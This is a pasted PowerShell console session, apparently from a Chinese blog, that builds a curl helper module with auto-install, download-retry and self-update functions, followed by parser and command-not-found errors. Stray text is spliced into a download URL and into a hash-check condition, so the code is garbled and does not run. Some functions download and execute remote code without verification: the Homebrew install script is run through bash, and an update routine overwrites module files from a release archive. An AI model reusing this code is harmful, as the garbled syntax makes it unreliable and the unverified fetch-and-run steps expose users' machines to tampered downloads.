$script:CurlPath = $script:Config.CurlPath >> $script:ModuleInitialized = $true >> >> return $true >> } catch { >> Write-Warning "模块初始化失败: $_" >> return $false >> } >> } >> >> # 查找curl路径 >> function Find-CurlPath { >> $platform = Get-Platform >> $exeName = if ($platform -eq "Windows") { "curl.exe" } else { "curl" } >> >> # 检查系统PATH >> $pathCurl = Get-Command $exeName -ErrorAction SilentlyContinue >> if ($pathCurl) { >> return $pathCurl.Source | Split-Path >> } >> >> # 平台特定路径 >> $searchPaths = switch ($platform) { >> "Windows" { >> @( >> "C:\Windows\System32", >> "C:\Program Files\curl\bin", >> "${env:ProgramFiles}\Git\usr\bin" >> ) >> } >> "Linux" { @("/usr/bin", "/usr/local/bin") } >> "macOS" { @("/usr/local/bin", "/opt/homebrew/bin") } >> } >> >> foreach ($path in $searchPaths) { >> $fullPath = Join-Path $path $exeName >> if (Test-Path $fullPath) { >> return $path >> } >> } >> >> # 终极方案:自动安装 >> return Install-Curl >> } >> >> # curl安装函数 (修复Join-Path错误) >> function Install-Curl { >> $platform = Get-Platform >> try { >> if ($platform -eq "Windows") { >> $tempDir = [System.IO.Path]::GetTempPath() >> $curlZip = Join-Path $tempDir "curl.zip" # 修复:Join-Path 而不是 Join-PPath >> $curlUrl = "https://curl.se/windows/dl-8.8.0_5/curl-极乐净土-win64-mingw.zip" >> >> # 使用安全下载函数 >> Invoke-SecureDownload -Url $curlUrl -OutputPath $curlZip >> >> Expand-Archive $curlZip -DestinationPath $tempDir -Force >> >> # 验证安装目录是否存在 >> $installDir = Join-Path $tempDir "curl-8.8.0_5-win64-mingw\bin" >> if (-not (Test-Path $installDir)) { >> throw "安装目录不存在: $installDir" >> } >> >> return $installDir >> } >> else { >> if ($platform -eq "Linux") { >> if (Get-Command apt -ErrorAction SilentlyContinue) { >> Start-Process -Wait -FilePath "sudo" -ArgumentList "apt", "update" >> Start-Process -Wait -FilePath "sudo" -ArgumentList "apt", "install", "-y", "curl" >> } elseif (Get-Command yum -ErrorAction SilentlyContinue) { >> Start-Process -Wait -FilePath "sudo" -ArgumentList "yum", "install", "-y", "curl" >> } >> return "/usr/bin" >> } >> else { >> if (-not (Get-Command brew -ErrorAction SilentlyContinue)) { >> # 使用安全下载安装Homebrew >> $installScript = Join-Path $env:TEMP "brew_install.sh" >> Invoke-SecureDownload -Url "https://raw.githubusercontent.com/Homebrew/install/HEAD/install.sh" -OutputPath $installScript >> & "/bin/bash" $installScript >> } >> Start-Process -Wait -FilePath "brew" -ArgumentList "install", "curl" >> return "/usr/local/bin" >> } >> } >> } catch { >> throw "无法自动安装curl: $_" >> } >> } >> >> # ========== 公共函数 ========== >> function Get-CurlPath { >> Ensure-ModuleInitialized >> return $script:CurlPath >> } >> >> function Set-CurlPath { >> param( >> [Parameter(Mandatory=$true)] >> [ValidateScript({ >> # 允许设置不存在的路径(创建前) >> if (-not (Test-Path $_)) { >> Write-Warning "路径不存在,将在设置后创建: $_" >> $true >> } else { >> $true >> } >> })] >> [string]$Path >> ) >> >> Ensure-ModuleInitialized >> >> # 确保路径存在 >> if (-not (Test-Path $Path)) { >> New-Item -ItemType Directory -Path $Path -Force | Out-Null >> } >> >> $script:CurlPath = $Path >> $script:Config.CurlPath = $Path >> $script:Config | ConvertTo-Json | Set-Content $script:ConfigPath -Force >> Write-Host "已设置curl路径: $Path" -ForegroundColor Green >> >> # 验证路径下是否有curl可执行文件 >> $exeName = if ((Get-Platform) -eq "Windows") { "curl.exe" } else { "curl" } >> $curlExe = Join-Path $Path $exeName >> if (-not (Test-Path $curlExe)) { >> try { >> Write-Warning "路径 $Path 下找不到 $exeName,尝试自动安装..." >> $script:Config.CurlPath = Install-Curl >> $script:CurlPath = $script:Config.CurlPath >> $script:Config | ConvertTo-Json | Set-Content $script:ConfigPath -Force >> Write-Host "已自动安装curl到: $script:CurlPath" -ForegroundColor Green >> >> # 再次验证安装结果 >> $curlExe = Join-Path $script:CurlPath $exeName >> if (-not (Test-Path $curlExe)) { >> throw "自动安装后仍未找到curl可执行文件" >> } >> } catch { >> throw "自动安装失败: $_" >> } >> } >> } >> >> function Get-CurlVersion { >> Ensure-ModuleInitialized >> $exe = if ((Get-Platform) -eq "Windows") { "curl.exe" } else { "curl" } >> $curlExe = Join-Path $script:CurlPath $exe >> >> # 检查可执行文件是否存在 >> if (-not (Test-Path $curlExe)) { >> throw "在路径 $script:CurlPath 下找不到 $exe,请使用Set-CurlPath设置正确的路径重新初始化模块" >> } >> >> & $curlExe --version | Select-Object -First 1 >> } >> >> function Invoke-SecureDownload { >> param( >> [Parameter(Mandatory=$true)] >> [string]$Url, >> >> [Parameter(Mandatory=$true)] >> [string]$OutputPath, >> >> [string]$ExpectedHash, >> [string]$HashAlgorithm = "SHA256" >> ) >> >> # 添加重试机制 >> $maxRetries = 3 >> $retryCount = 0 >> $success = $false >> >> do { >> try { >> Write-Verbose "下载文件: $Url (尝试 #$($retryCount + 1))" >> $ProgressPreference = 'SilentlyContinue' >> >> # 创建输出目录(如果不存在) >> $outputDir = [System.IO.Path]::GetDirectoryName($OutputPath) >> if (-not [string]::IsNullOrWhiteSpace($outputDir) -and -not (Test-Path $outputDir)) { >> New-Item -ItemType Directory -Path $outputDir -Force | Out-Null >> } >> >> # 下载文件 >> Invoke-WebRequest -Uri $Url -OutFile $OutputPath -UseBasicParsing -ErrorAction Stop >> >> # 验证文件是否成功下载 >> if (-not (Test-Path $OutputPath)) { >> throw "文件下载后未找到: $OutputPath" >> } >> >> # 验证哈希(如果提供) >> if (-not [string]::IsNullOrWhiteSpace($ExpectedHash)) { >> $actualHash = (Get-FileHash -Path $OutputPath -Algorithm $HashAlgorithm).Hash >> if ($actualHash -ne $Expected极乐净土 >> Remove-Item -Path $OutputPath -Force >> throw "文件哈希不匹配! 期望: $ExpectedHash, 实际: $actualHash" >> } >> } >> >> $success = $true >> return $OutputPath >> } >> catch { >> $retryCount++ >> if ($retryCount -ge $maxRetries) { >> # 清理部分下载的文件 >> if (Test-Path $OutputPath) { >> Remove-Item -Path $OutputPath -Force -ErrorAction SilentlyContinue >> } >> throw "下载失败: $($_.Exception.Message)" >> } >> >> # 随机延迟后重试 >> $retryDelay = Get-Random -Minimum 1 -Maximum 5 >> Write-Warning "下载失败,$retryDelay 秒后重试: $($_.Exception.Message)" >> Start-Sleep -Seconds $retryDelay >> } >> } while (-not $success) >> } >> >> # ========== 辅助函数 ========== >> function Ensure-ModuleInitialized { >> if (-not $script:ModuleInitialized) { >> if (-not (Initialize-Module)) { >> throw "模块未正确初始化" >> } >> } >> } >> >> # ========== 模块初始化 ========== >> # 尝试初始化但不强制 >> try { >> Initialize-Module | Out-Null >> Write-Verbose "CurlTools 模块初始化成功" >> } catch { >> Write-Warning "模块初始化错误: $_" >> } >> >> # ========== 函数导出 ========== >> # 导出公共函数 >> Export-ModuleMember -Function Get-CurlPath, Set-CurlPath, Get-CurlVersion, Invoke-SecureDownload >> 所在位置 行:266 字符: 21 + Remove-Item -Path $OutputPath -Force + ~~~~~~~~~~~ “if”语句中的达式后面缺少右“)”。 所在位置 行:269 字符: 14 + } + ~ Try 语句缺少自己的 Catch Finally 块。 所在位置 行:273 字符: 10 + } + ~ do 循环中缺少 while until 关键字。 所在位置 行:289 字符: 28 + } while (-not $success) + ~ while 循环中缺少语句体。 所在位置 行:290 字符: 1 + } + ~ 达式语句中包含意外的标记“}”。 + CategoryInfo : ParserError: (:) [], ParentContainsErrorRecordException + FullyQualifiedErrorId : MissingEndParenthesisAfterStatement PS C:\Users\Administrator> # 创建模块目录 >> $moduleDir = "$env:USERPROFILE\Documents\WindowsPowerShell\Modules\CurlTools" >> New-Item -ItemType Directory -Path $moduleDir -Force | Out-Null >> >> # 保存模块代码 >> $moduleCode = @' >> # 将上面修复后的完整模块代码粘贴在这里 >> '@ >> >> Set-Content -Path "$moduleDir\CurlTools.psm1" -Value $moduleCode -Force >> >> # 创建模块清单 >> $manifest = @" >> @{ >> ModuleVersion = '1.7.0' >> RootModule = 'CurlTools.psm1' >> FunctionsToExport = @( >> 'Get-CurlPath', >> 'Set-CurlPath', >> 'Get-CurlVersion', >> 'Invoke-SecureDownload' >> ) >> CompatiblePSEditions = @('Desktop', 'Core') >> GUID = 'c0d1b1e1-1a2b-4c3d-8e4f-9a0b1c2d3e4f' >> Author = 'Your Name' >> Description = 'Powerful curl tools for PowerShell' >> } >> "@ >> >> Set-Content -Path "$moduleDir\CurlTools.psd1" -Value $manifest -Force >> >> # 重新加载模块 >> Remove-Module CurlTools -ErrorAction SilentlyContinue >> Import-Module CurlTools -Force -Verbose >> >> # 测试模块 >> if (Get-Module CurlTools) { >> Write-Host "CurlTools 模块安装成功!" -ForegroundColor Green >> >> # 测试基本功能 >> try { >> $curlPath = Get-CurlPath >> Write-Host "Curl路径: $curlPath" >> >> # 测试设置新路径 >> $newPath = Join-Path $env:TEMP "CurlTestPath" >> Set-CurlPath -Path $newPath >> >> $curlPath = Get-CurlPath >> Write-Host "新Curl路径: $curlPath" >> >> $version = Get-CurlVersion >> Write-Host "Curl版本: $version" >> >> # 测试下载功能 >> $testUrl = "https://raw.githubusercontent.com/PowerShell/PowerShell/master/README.md" >> $outputPath = "$env:TEMP\PowerShell_README.md" >> Invoke-SecureDownload -Url $testUrl -OutputPath $outputPath >> Write-Host "测试下载成功: $outputPath" -ForegroundColor Green >> } catch { >> Write-Warning "基本功能测试失败: $_" >> } >> } else { >> Write-Error "模块安装失败,请检查。" >> } >> 详细信息: 正在从路径“C:\Users\Administrator\Documents\WindowsPowerShell\Modules\CurlTools\CurlTools.psd1”加载模块。 详细信息: 正在从路径“C:\Users\Administrator\Documents\WindowsPowerShell\Modules\CurlTools\CurlTools.psm1”加载模块。 CurlTools 模块安装成功! 警告: 基本功能测试失败: 无法将“Get-CurlPath”项识别为 cmdlet、函数、脚本文件运行程序的称。请检查称的拼写,如果包括路径,请确保路径正确,然后再试一次。 PS C:\Users\Administrator> # 在模块根目录创建 Public 和 Private 文件夹 >> # Public/ 存放公共函数 >> # Private/ 存放内部函数 >> $publicFunctions = Get-ChildItem -Path "$PSScriptRoot\Public\*.ps1" >> $privateFunctions = Get-ChildItem -Path "$PSScriptRoot\Private\*.ps1" >> >> # 导入所有函数 >> foreach ($file in @($publicFunctions + $privateFunctions)) { >> . $file.FullName >> } >> >> # 只导出公共函数 >> Export-ModuleMember -Function $publicFunctions.BaseName >> Get-ChildItem : 找不到路径“C:\Public”,因为该路径不存在。 所在位置 行:4 字符: 20 + $publicFunctions = Get-ChildItem -Path "$PSScriptRoot\Public\*.ps1" + ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~ + CategoryInfo : ObjectNotFound: (C:\Public:String) [Get-ChildItem], ItemNotFoundException + FullyQualifiedErrorId : PathNotFound,Microsoft.PowerShell.Commands.GetChildItemCommand Get-ChildItem : 找不到路径“C:\Private”,因为该路径不存在。 所在位置 行:5 字符: 21 + $privateFunctions = Get-ChildItem -Path "$PSScriptRoot\Private\*.ps1" + ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~ + CategoryInfo : ObjectNotFound: (C:\Private:String) [Get-ChildItem], ItemNotFoundException + FullyQualifiedErrorId : PathNotFound,Microsoft.PowerShell.Commands.GetChildItemCommand 管道元素中的“.”后面的达式生成无效的对象。该达式必须生成命令称、脚本 CommandInfo 对象。 所在位置 行:9 字符: 7 + . $file.FullName + ~~~~~~~~~~~~~~ + CategoryInfo : InvalidOperation: (:) [],RuntimeException + FullyQualifiedErrorId : BadExpression Export-ModuleMember : 只能从模块内调用 Export-ModuleMember cmdlet。 所在位置 行:13 字符: 1 + Export-ModuleMember -Function $publicFunctions.BaseName + ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~ + CategoryInfo : PermissionDenied: (:) [Export-ModuleMember], InvalidOperationException + FullyQualifiedErrorId : Modules_CanOnlyExecuteExportModuleMemberInsideAModule,Microsoft.PowerShell.Commands.Expo rtModuleMemberCommand PS C:\Users\Administrator> function Write-ModuleLog { >> param( >> [string]$Message, >> [ValidateSet('Info', 'Warning', 'Error')] >> [string]$Level = 'Info' >> ) >> >> $logEntry = "[$(Get-Date -Format 'yyyy-MM-dd HH:mm:ss')] [$Level] $Message" >> $logPath = Join-Path $script:ConfigDir "curltools.log" >> >> # 创建日志目录 >> if (-not (Test-Path $script:ConfigDir)) { >> New-Item -ItemType Directory -Path $script:ConfigDir -Force | Out-Null >> } >> >> Add-Content -Path $logPath -Value $logEntry >> >> switch ($Level) { >> 'Info' { Write-Verbose $Message } >> 'Warning' { Write-Warning $Message } >> 'Error' { Write-Error $Message } >> } >> } >> PS C:\Users\Administrator> # 使用 .NET HttpClient 提高下载性能 >> function Invoke-FastDownload { >> param( >> [string]$Url, >> [string]$OutputPath >> ) >> >> try { >> $httpClient = [System.Net.Http.HttpClient]::new() >> $response = $httpClient.GetAsync($Url).Result >> $response.EnsureSuccessStatusCode() >> >> $fileStream = [System.IO.File]::Create($OutputPath) >> $response.Content.CopyToAsync($fileStream).Wait() >> $fileStream.Close() >> >> return $OutputPath >> } >> finally { >> if ($null -ne $httpClient) { >> $httpClient.Dispose() >> } >> } >> } >> PS C:\Users\Administrator> function Update-CurlTools { >> param([switch]$Force) >> >> try { >> $updateUrl = "https://api.github.com/repos/yourname/curltools/releases/latest" >> $response = Invoke-RestMethod $updateUrl >> $latestVersion = [Version]$response.tag_name >> $currentVersion = [Version](Get-Module CurlTools).Version >> >> if ($latestVersion -gt $currentVersion -or $Force) { >> Write-Host "正在更新模块到版本 $latestVersion" >> >> # 下载更新包 >> $updatePackage = Join-Path $env:TEMP "curltools-update.zip" >> $downloadUrl = $response.assets | >> Where-Object { $_.name -like "*.zip" } | >> Select-Object -First 1 -ExpandProperty browser_download_url >> >> Invoke-SecureDownload -Url $downloadUrl -OutputPath $updatePackage >> >> # 解压更新包 >> $extractPath = Join-Path $env:TEMP "curltools-update" >> Expand-Archive -Path $updatePackage -DestinationPath $extractPath -Force >> >> # 替换模块文件 >> $moduleDir = (Get-Module CurlTools).ModuleBase >> Get-ChildItem -Path $extractPath | Copy-Item -Destination $moduleDir -Recurse -Force >> >> # 重新加载模块 >> Remove-Module CurlTools -ErrorAction SilentlyContinue >> Import-Module CurlTools -Force >> >> Write-Host "模块已成功更新到版本 $latestVersion" -ForegroundColor Green >> } >> else { >> Write-Host "当前已是最新版本 ($currentVersion)" -ForegroundColor Cyan >> } >> } >> catch { >> Write-Error "更新失败: $_" >> } >> } >> PS C:\Users\Administrator> # 测试1:初始化测试 >> Remove-Module CurlTools -ErrorAction SilentlyContinue >> Import-Module CurlTools -Force >> $curlPath = Get-CurlPath >> Write-Host "初始Curl路径: $curlPath" -ForegroundColor Cyan >> >> # 测试2:路径设置测试 >> $newPath = Join-Path $env:TEMP "CurlTestPath" >> Set-CurlPath -Path $newPath >> $newPathActual = Get-CurlPath >> Write-Host "设置后的Curl路径: $newPathActual" -ForegroundColor Cyan >> >> # 测试3:版本获取测试 >> $version = Get-CurlVersion >> Write-Host "Curl版本: $version" -ForegroundColor Cyan >> >> # 测试4:下载功能测试 >> $testUrl = "https://raw.githubusercontent.com/PowerShell/PowerShell/master/README.md" >> $outputFile = Join-Path $env:TEMP "PowerShell_README.md" >> Invoke-SecureDownload -Url $testUrl -OutputPath $outputFile >> if (Test-Path $outputFile) { >> Write-Host "文件下载成功: $outputFile" -ForegroundColor Green >> } else { >> Write-Host "文件下载失败" -ForegroundColor Red >> } >> >> # 测试5:哈希验证下载 >> $expectedHash = (Get-FileHash -Path $outputFile -Algorithm SHA256).Hash >> $outputFile2 = Join-Path $env:TEMP "PowerShell_README_Verified.md" >> Invoke-SecureDownload -Url $testUrl -OutputPath $outputFile2 -ExpectedHash $expectedHash -HashAlgorithm SHA256 >> if (Test-Path $outputFile2) { >> Write-Host "带哈希验证的文件下载成功" -ForegroundColor Green >> } else { >> Write-Host "带哈希验证的文件下载失败" -ForegroundColor Red >> } >> Get-CurlPath : 无法将“Get-CurlPath”项识别为 cmdlet、函数、脚本文件运行程序的称。请检查称的拼写,如果包括路径 ,请确保路径正确,然后再试一次。 所在位置 行:4 字符: 13 + $curlPath = Get-CurlPath + ~~~~~~~~~~~~ + CategoryInfo : ObjectNotFound: (Get-CurlPath:String) [], CommandNotFoundException + FullyQualifiedErrorId : CommandNotFoundException 初始Curl路径: Set-CurlPath : 无法将“Set-CurlPath”项识别为 cmdlet、函数、脚本文件运行程序的称。请检查称的拼写,如果包括路径 ,请确保路径正确,然后再试一次。 所在位置 行:9 字符: 1 + Set-CurlPath -Path $newPath + ~~~~~~~~~~~~ + CategoryInfo : ObjectNotFound: (Set-CurlPath:String) [], CommandNotFoundException + FullyQualifiedErrorId : CommandNotFoundException Get-CurlPath : 无法将“Get-CurlPath”项识别为 cmdlet、函数、脚本文件运行程序的称。请检查称的拼写,如果包括路径 ,请确保路径正确,然后再试一次。 所在位置 行:10 字符: 18 + $newPathActual = Get-CurlPath + ~~~~~~~~~~~~ + CategoryInfo : ObjectNotFound: (Get-CurlPath:String) [], CommandNotFoundException + FullyQualifiedErrorId : CommandNotFoundException 设置后的Curl路径: Get-CurlVersion : 无法将“Get-CurlVersion”项识别为 cmdlet、函数、脚本文件运行程序的称。请检查称的拼写,如果包 括路径,请确保路径正确,然后再试一次。 所在位置 行:14 字符: 12 + $version = Get-CurlVersion + ~~~~~~~~~~~~~~~ + CategoryInfo : ObjectNotFound: (Get-CurlVersion:String) [], CommandNotFoundException + FullyQualifiedErrorId : CommandNotFoundException Curl版本: Invoke-SecureDownload : 无法将“Invoke-SecureDownload”项识别为 cmdlet、函数、脚本文件运行程序的称。请检查称的 拼写,如果包括路径,请确保路径正确,然后再试一次。 所在位置 行:20 字符: 1 + Invoke-SecureDownload -Url $testUrl -OutputPath $outputFile + ~~~~~~~~~~~~~~~~~~~~~ + CategoryInfo : ObjectNotFound: (Invoke-SecureDownload:String) [], CommandNotFoundException + FullyQualifiedErrorId : CommandNotFoundException 文件下载成功: E:\ai_temp\PowerShell_README.md Invoke-SecureDownload : 无法将“Invoke-SecureDownload”项识别为 cmdlet、函数、脚本文件运行程序的称。请检查称的 拼写,如果包括路径,请确保路径正确,然后再试一次。 所在位置 行:30 字符: 1 + Invoke-SecureDownload -Url $testUrl -OutputPath $outputFile2 -Expecte ... + ~~~~~~~~~~~~~~~~~~~~~ + CategoryInfo : ObjectNotFound: (Invoke-SecureDownload:String) [], CommandNotFoundException + FullyQualifiedErrorId : CommandNotFoundException 带哈希验证的文件下载失败 PS C:\Users\Administrator>
08-13
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值